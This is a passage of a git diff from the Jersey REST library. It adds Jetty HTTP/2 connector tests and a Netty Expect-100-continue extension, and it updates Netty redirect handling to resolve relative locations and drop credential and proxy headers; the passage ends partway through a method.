target("test"); + + for (int i = 0; i < 5; i++) { + Response cr = r.request().get(); + cr.close(); + } + } + + @Test + public void testGetWithClose() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().get(); + cr.close(); + } + } + + @Test + public void testPost() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().post(null); + } + } + + @Test + public void testPostWithClose() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().post(null); + cr.close(); + } + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java new file mode 100644 index 0000000000..e3b2c3d007 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java @@ -0,0 +1,161 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.jetty.connector.JettyClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.net.URI; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import static org.hamcrest.CoreMatchers.instanceOf; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +public class SyncResponseSizeTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(SyncResponseSizeTest.class.getName()); + + private static final int maxBufferSize = 4 * 1024 * 1024; //4 MiB + + @Path("/test") + public static class TimeoutResource { + + private static final byte[] data = new byte[maxBufferSize]; + + static { + Byte b = "a".getBytes()[0]; + for (int i = 0; i < maxBufferSize; i++) data[i] = b.byteValue(); + } + + @GET + @Path("/small") + public String getSmall() { + return "GET"; + } + + @GET + @Path("/big") + public String getBig() { + return new String(data); + } + + @GET + @Path("/verybig") + public String getVeryBig() { + return new String(data) + "a"; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TimeoutResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testDefaultSmall() { + Response r = target("test/small").request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testDefaultTooBig() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/big").request().get(); + fail("Exception expected."); + } catch (ProcessingException e) { + // Buffering capacity ... exceeded. + assertTrue(ExecutionException.class.isInstance(e.getCause())); + assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause())); + } finally { + c.close(); + } + } + + @Test + public void testCustomBig() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize); + + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + Response r = t.path("test/big").request().get(); + String p = r.readEntity(String.class); + assertEquals(p.length(), maxBufferSize); + } catch (ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), instanceOf(TimeoutException.class)); + } finally { + c.close(); + } + } + + @Test + public void testCustomTooBig() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize); + + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/verybig").request().get(); + fail("Exception expected."); + } catch (ProcessingException e) { + // Buffering capacity ... exceeded. + assertTrue(ExecutionException.class.isInstance(e.getCause())); + assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause())); + } finally { + c.close(); + } + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java new file mode 100644 index 0000000000..59f242e11c --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TimeoutTest.java @@ -0,0 +1,239 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.CommonProperties; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.jetty.connector.JettyClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.DefaultValue; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.QueryParam; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.StreamingOutput; +import java.net.URI; +import java.nio.charset.StandardCharsets; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import static org.hamcrest.CoreMatchers.instanceOf; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +public class TimeoutTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName()); + + @Path("/test") + public static class TimeoutResource { + @GET + public String get() { + return "GET"; + } + + @GET + @Path("timeout") + public String getTimeout() { + try { + Thread.sleep(2000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + return "GET"; + } + + /** + * Long-running streaming request + * + * @param count number of packets send + * @param pauseMillis pause between each packets + */ + @GET + @Path("stream") + public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count, + @QueryParam("pauseMillis") int pauseMillis) { + StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis); + + return Response.ok(streamingOutput) + .build(); + } + } + + private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) { + + return output -> { + try { + TimeUnit.MILLISECONDS.sleep(startMillis); + } + catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + output.write("begin\n".getBytes(StandardCharsets.UTF_8)); + output.flush(); + for (int i = 0; i < count; i++) { + try { + TimeUnit.MILLISECONDS.sleep(pauseMillis); + } + catch (InterruptedException e) { + Thread.currentThread().interrupt(); + } + + output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8)); + output.flush(); + } + output.write("end".getBytes(StandardCharsets.UTF_8)); + }; + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TimeoutResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testFast() { + Response r = target("test").request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testSlow() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/timeout").request().get(); + fail("Timeout expected."); + } catch (ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), instanceOf(TimeoutException.class)); + } finally { + c.close(); + } + } + + @Test + public void testTimeoutInRequest() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig(); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + try { + t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get(); + fail("Timeout expected."); + } catch (ProcessingException e) { + assertThat("Unexpected processing exception cause", + e.getCause(), instanceOf(TimeoutException.class)); + } finally { + c.close(); + } + } + + /** + * Test accessing an operation that is streaming slowly + * + * @throws ProcessingException in case of a test error. + */ + @Test + public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception { + + int count = 5; + int pauseMillis = 50; + + final Response response = target("test") + .property(ClientProperties.READ_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + + assertTrue(response.readEntity(String.class).contains("end")); + } + + @Test + public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception { + + int count = 5; + int pauseMillis = 50; + + try { + target("test") + .property(JettyClientProperties.TOTAL_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + + fail("This operation should trigger total timeout"); + } catch (ProcessingException e) { + assertEquals(TimeoutException.class, e.getCause().getClass()); + } + } + + /** + * Test accessing an operation that is streaming slowly + * + * @throws ProcessingException in case of a test error. + */ + @Test + public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception { + + int start = 150; + int count = 5; + int pauseMillis = 50; + + try { + target("test") + .property(ClientProperties.READ_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("start", start) + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + fail("This operation should trigger idle timeout"); + } catch (ProcessingException e) { + assertEquals(TimeoutException.class, e.getCause().getClass()); + } + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java new file mode 100644 index 0000000000..4bf0bdaad4 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/TraceSupportTest.java @@ -0,0 +1,228 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.process.Inflector; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.model.Resource; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.HttpMethod; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Request; +import jakarta.ws.rs.core.Response; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.util.List; +import java.util.Map; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +public class TraceSupportTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName()); + + /** + * Programmatic tracing root resource path. + */ + public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic"; + + /** + * Annotated class-based tracing root resource path. + */ + public static final String ROOT_PATH_ANNOTATED = "tracing/annotated"; + + @HttpMethod(TRACE.NAME) + @Target(ElementType.METHOD) + @Retention(RetentionPolicy.RUNTIME) + public @interface TRACE { + public static final String NAME = "TRACE"; + } + + @Path(ROOT_PATH_ANNOTATED) + public static class TracingResource { + + @TRACE + @Produces("text/plain") + public String trace(Request request) { + return stringify((ContainerRequest) request); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TracingResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC); + resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector() { + + @Override + public Response apply(ContainerRequestContext request) { + if (request == null) { + return Response.noContent().build(); + } else { + return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build(); + } + } + }); + + return config.registerResources(resourceBuilder.build()); + + } + + private String[] expectedFragmentsProgrammatic = new String[]{ + "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic" + }; + private String[] expectedFragmentsAnnotated = new String[]{ + "TRACE http://localhost:" + this.getPort() + "/tracing/annotated" + }; + + private WebTarget prepareTarget(String path) { + final WebTarget target = target(); + target.register(LoggingFeature.class); + return target.path(path); + } + + @Test + public void testProgrammaticApp() throws Exception { + Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME); + + assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); + + String responseEntity = response.readEntity(String.class); + for (String expectedFragment : expectedFragmentsProgrammatic) { + assertTrue(// toLowerCase - http header field names are case insensitive + responseEntity.contains(expectedFragment), + "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity); + } + } + + @Test + public void testAnnotatedApp() throws Exception { + Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME); + + assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); + + String responseEntity = response.readEntity(String.class); + for (String expectedFragment : expectedFragmentsAnnotated) { + assertTrue(// toLowerCase - http header field names are case insensitive + responseEntity.contains(expectedFragment), + "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity); + } + } + + @Test + public void testTraceWithEntity() throws Exception { + _testTraceWithEntity(false, false); + } + + @Test + public void testAsyncTraceWithEntity() throws Exception { + _testTraceWithEntity(true, false); + } + + @Test + public void testTraceWithEntityJettyConnector() throws Exception { + _testTraceWithEntity(false, true); + } + + @Test + public void testAsyncTraceWithEntityJettyConnector() throws Exception { + _testTraceWithEntity(true, true); + } + + private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception { + try { + WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target(); + target = target.path(ROOT_PATH_ANNOTATED); + + final Entity entity = Entity.entity("trace", MediaType.WILDCARD_TYPE); + + Response response; + if (!isAsync) { + response = target.request().method(TRACE.NAME, entity); + } else { + response = target.request().async().method(TRACE.NAME, entity).get(); + } + + fail("A TRACE request MUST NOT include an entity. (response=" + response + ")"); + } catch (Exception e) { + // OK + } + } + + private Client getJettyClient() { + return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider())); + } + + + public static String stringify(ContainerRequest request) { + StringBuilder buffer = new StringBuilder(); + + printRequestLine(buffer, request); + printPrefixedHeaders(buffer, request.getHeaders()); + + if (request.hasEntity()) { + buffer.append(request.readEntity(String.class)).append("\n"); + } + + return buffer.toString(); + } + + private static void printRequestLine(StringBuilder buffer, ContainerRequest request) { + buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n"); + } + + private static void printPrefixedHeaders(StringBuilder buffer, Map> headers) { + for (Map.Entry> e : headers.entrySet()) { + List val = e.getValue(); + String header = e.getKey(); + + if (val.size() == 1) { + buffer.append(header).append(": ").append(val.get(0)).append("\n"); + } else { + StringBuilder sb = new StringBuilder(); + boolean add = false; + for (String s : val) { + if (add) { + sb.append(','); + } + add = true; + sb.append(s); + } + buffer.append(header).append(": ").append(sb.toString()).append("\n"); + } + } + } +} \ No newline at end of file diff --git a/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java new file mode 100644 index 0000000000..29efcba9d6 --- /dev/null +++ b/connectors/jetty-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/UnderlyingHttpClientAccessTest.java @@ -0,0 +1,66 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.eclipse.jetty.client.HttpClient; +import org.glassfish.jersey.client.ClientConfig; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; + +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertSame; + +public class UnderlyingHttpClientAccessTest { + + /** + * Verifier of JERSEY-2424 fix. + */ + @Test + public void testHttpClientInstanceAccess() { + final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyHttp2ConnectorProvider())); + final HttpClient hcOnClient = JettyHttp2ConnectorProvider.getHttpClient(client); + // important: the web target instance in this test must be only created AFTER the client has been pre-initialized + // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the + // connector provider's static getHttpClient method above. + final WebTarget target = client.target("http://localhost/"); + final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target); + + assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null."); + assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null."); + assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one " + + "set on JerseyWebTarget (provided the target instance has not been further configured)."); + } + + @Test + public void testGetProvidedClientInstance() { + final HttpClient httpClient = new HttpClient(); + final ClientConfig clientConfig = new ClientConfig() + .connectorProvider(new JettyHttp2ConnectorProvider()) + .register(new JettyHttp2ClientSupplier(httpClient)); + final Client client = ClientBuilder.newClient(clientConfig); + final WebTarget target = client.target("http://localhost/"); + final HttpClient hcOnTarget = JettyHttp2ConnectorProvider.getHttpClient(target); + + assertThat("Instance provided to a ClientConfig differs from instance provided by JettyProvider", + httpClient, is(hcOnTarget)); + } +} \ No newline at end of file diff --git a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/Expect100ContinueConnectorExtension.java b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/Expect100ContinueConnectorExtension.java new file mode 100644 index 0000000000..471321ff06 --- /dev/null +++ b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/Expect100ContinueConnectorExtension.java @@ -0,0 +1,72 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.netty.connector; + +import io.netty.handler.codec.http.HttpHeaderNames; +import io.netty.handler.codec.http.HttpHeaderValues; +import io.netty.handler.codec.http.HttpRequest; +import io.netty.handler.codec.http.HttpVersion; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.ClientRequest; +import org.glassfish.jersey.client.RequestEntityProcessing; +import org.glassfish.jersey.client.internal.ConnectorExtension; + +import java.io.IOException; +import java.net.ProtocolException; + +class Expect100ContinueConnectorExtension + implements ConnectorExtension { + private static final String EXCEPTION_MESSAGE = "Server rejected operation"; + @Override + public void invoke(ClientRequest request, HttpRequest extensionParam) { + + final long length = request.getLengthLong(); + final RequestEntityProcessing entityProcessing = request.resolveProperty( + ClientProperties.REQUEST_ENTITY_PROCESSING, RequestEntityProcessing.class); + + final Boolean expectContinueActivated = request.resolveProperty( + ClientProperties.EXPECT_100_CONTINUE, Boolean.class); + final Long expectContinueSizeThreshold = request.resolveProperty( + ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, + ClientProperties.DEFAULT_EXPECT_100_CONTINUE_THRESHOLD_SIZE); + + final boolean allowStreaming = length > expectContinueSizeThreshold + || entityProcessing == RequestEntityProcessing.CHUNKED; + + if (extensionParam.protocolVersion().equals(HttpVersion.HTTP_1_0) + || !Boolean.TRUE.equals(expectContinueActivated) + || !request.hasEntity() + || !allowStreaming) { + return; + } + extensionParam.headers().add(HttpHeaderNames.EXPECT, HttpHeaderValues.CONTINUE); + + } + + @Override + public void postConnectionProcessing(HttpRequest extensionParam) { + } + + @Override + public boolean handleException(ClientRequest request, HttpRequest extensionParam, IOException ex) { + final Boolean expectContinueActivated = request.resolveProperty( + ClientProperties.EXPECT_100_CONTINUE, Boolean.FALSE); + + return expectContinueActivated + && (ex instanceof ProtocolException && ex.getMessage().equals(EXCEPTION_MESSAGE)); + } +} \ No newline at end of file diff --git a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyClientHandler.java b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyClientHandler.java index d460867f75..4a9836d338 100644 --- a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyClientHandler.java +++ b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyClientHandler.java @@ -20,17 +20,24 @@ import java.io.IOException; import java.io.InputStream; import java.net.URI; +import java.util.Iterator; +import java.util.List; +import java.util.Locale; import java.util.Map; import java.util.Set; import java.util.concurrent.CompletableFuture; import java.util.concurrent.TimeoutException; +import java.util.function.Predicate; -import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.HttpMethod; +import jakarta.ws.rs.core.MultivaluedMap; import jakarta.ws.rs.core.Response; import org.glassfish.jersey.client.ClientProperties; import org.glassfish.jersey.client.ClientRequest; import org.glassfish.jersey.client.ClientResponse; +import org.glassfish.jersey.http.HttpHeaders; +import org.glassfish.jersey.http.ResponseStatus; import org.glassfish.jersey.netty.connector.internal.NettyInputStream; import org.glassfish.jersey.netty.connector.internal.RedirectException; @@ -38,13 +45,12 @@ import io.netty.channel.ChannelHandlerContext; import io.netty.channel.SimpleChannelInboundHandler; import io.netty.handler.codec.http.HttpContent; -import io.netty.handler.codec.http.HttpHeaderNames; import io.netty.handler.codec.http.HttpObject; import io.netty.handler.codec.http.HttpResponse; -import io.netty.handler.codec.http.HttpResponseStatus; import io.netty.handler.codec.http.HttpUtil; import io.netty.handler.codec.http.LastHttpContent; import io.netty.handler.timeout.IdleStateEvent; +import org.glassfish.jersey.uri.internal.JerseyUriBuilder; /** * Jersey implementation of Netty channel handler. @@ -103,17 +109,27 @@ protected void notifyResponse() { jerseyResponse = null; int responseStatus = cr.getStatus(); if (followRedirects - && (responseStatus == HttpResponseStatus.MOVED_PERMANENTLY.code() - || responseStatus == HttpResponseStatus.FOUND.code() - || responseStatus == HttpResponseStatus.SEE_OTHER.code() - || responseStatus == HttpResponseStatus.TEMPORARY_REDIRECT.code() - || responseStatus == HttpResponseStatus.PERMANENT_REDIRECT.code())) { + && (responseStatus == ResponseStatus.Redirect3xx.MOVED_PERMANENTLY_301.getStatusCode() + || responseStatus == ResponseStatus.Redirect3xx.FOUND_302.getStatusCode() + || responseStatus == ResponseStatus.Redirect3xx.SEE_OTHER_303.getStatusCode() + || responseStatus == ResponseStatus.Redirect3xx.TEMPORARY_REDIRECT_307.getStatusCode() + || responseStatus == ResponseStatus.Redirect3xx.PERMANENT_REDIRECT_308.getStatusCode())) { String location = cr.getHeaderString(HttpHeaders.LOCATION); if (location == null || location.isEmpty()) { responseAvailable.completeExceptionally(new RedirectException(LocalizationMessages.REDIRECT_NO_LOCATION())); } else { try { URI newUri = URI.create(location); + if (!newUri.isAbsolute()) { + final URI originalUri = jerseyRequest.getUri(); + newUri = new JerseyUriBuilder() + .scheme(originalUri.getScheme()) + .userInfo(originalUri.getUserInfo()) + .host(originalUri.getHost()) + .port(originalUri.getPort()) + .uri(location) + .build(); + } boolean alreadyRequested = !redirectUriHistory.add(newUri); if (alreadyRequested) { // infinite loop detection @@ -126,6 +142,7 @@ protected void notifyResponse() { } else { ClientRequest newReq = new ClientRequest(jerseyRequest); newReq.setUri(newUri); + restrictRedirectRequest(newReq, cr); connector.execute(newReq, redirectUriHistory, responseAvailable); } } catch (IllegalArgumentException e) { @@ -165,7 +182,7 @@ public String getReasonPhrase() { } // request entity handling. - if ((response.headers().contains(HttpHeaderNames.CONTENT_LENGTH) && HttpUtil.getContentLength(response) > 0) + if ((response.headers().contains(HttpHeaders.CONTENT_LENGTH) && HttpUtil.getContentLength(response) > 0) || HttpUtil.isTransferEncodingChunked(response)) { nis = new NettyInputStream(); @@ -218,4 +235,63 @@ public void userEventTriggered(ChannelHandlerContext ctx, Object evt) throws Exc super.userEventTriggered(ctx, evt); } } + + /* + * RFC 9110 Section 15.4 + * https://httpwg.org/specs/rfc9110.html#rfc.section.15.4 + */ + private void restrictRedirectRequest(ClientRequest newRequest, ClientResponse response) { + final MultivaluedMap headers = newRequest.getHeaders(); + final Boolean keepMethod = newRequest.resolveProperty(NettyClientProperties.PRESERVE_METHOD_ON_REDIRECT, Boolean.TRUE); + + if (Boolean.FALSE.equals(keepMethod) && newRequest.getMethod().equals(HttpMethod.POST)) { + switch (response.getStatus()) { + case 301 /* MOVED PERMANENTLY */: + case 302 /* FOUND */: + removeContentHeaders(headers); + newRequest.setMethod(HttpMethod.GET); + newRequest.setEntity(null); + break; + } + } + + for (final Iterator>> it = headers.entrySet().iterator(); it.hasNext(); ) { + final Map.Entry> entry = it.next(); + if (ProxyHeaders.INSTANCE.test(entry.getKey())) { + it.remove(); + } + } + + headers.remove(HttpHeaders.IF_MATCH); + headers.remove(HttpHeaders.IF_NONE_MATCH); + headers.remove(HttpHeaders.IF_MODIFIED_SINCE); + headers.remove(HttpHeaders.IF_UNMODIFIED_SINCE); + headers.remove(HttpHeaders.AUTHORIZATION); + headers.remove(HttpHeaders.REFERER); + headers.remove(HttpHeaders.COOKIE); + } + + private void removeContentHeaders(MultivaluedMap headers) { + for (final Iterator>> it = headers.entrySet().iterator(); it.hasNext(); ) { + final Map.Entry> entry = it.next(); + final String lowName = entry.getKey().toLowerCase(Locale.ROOT); + if (lowName.startsWith("content-")) { + it.remove(); + 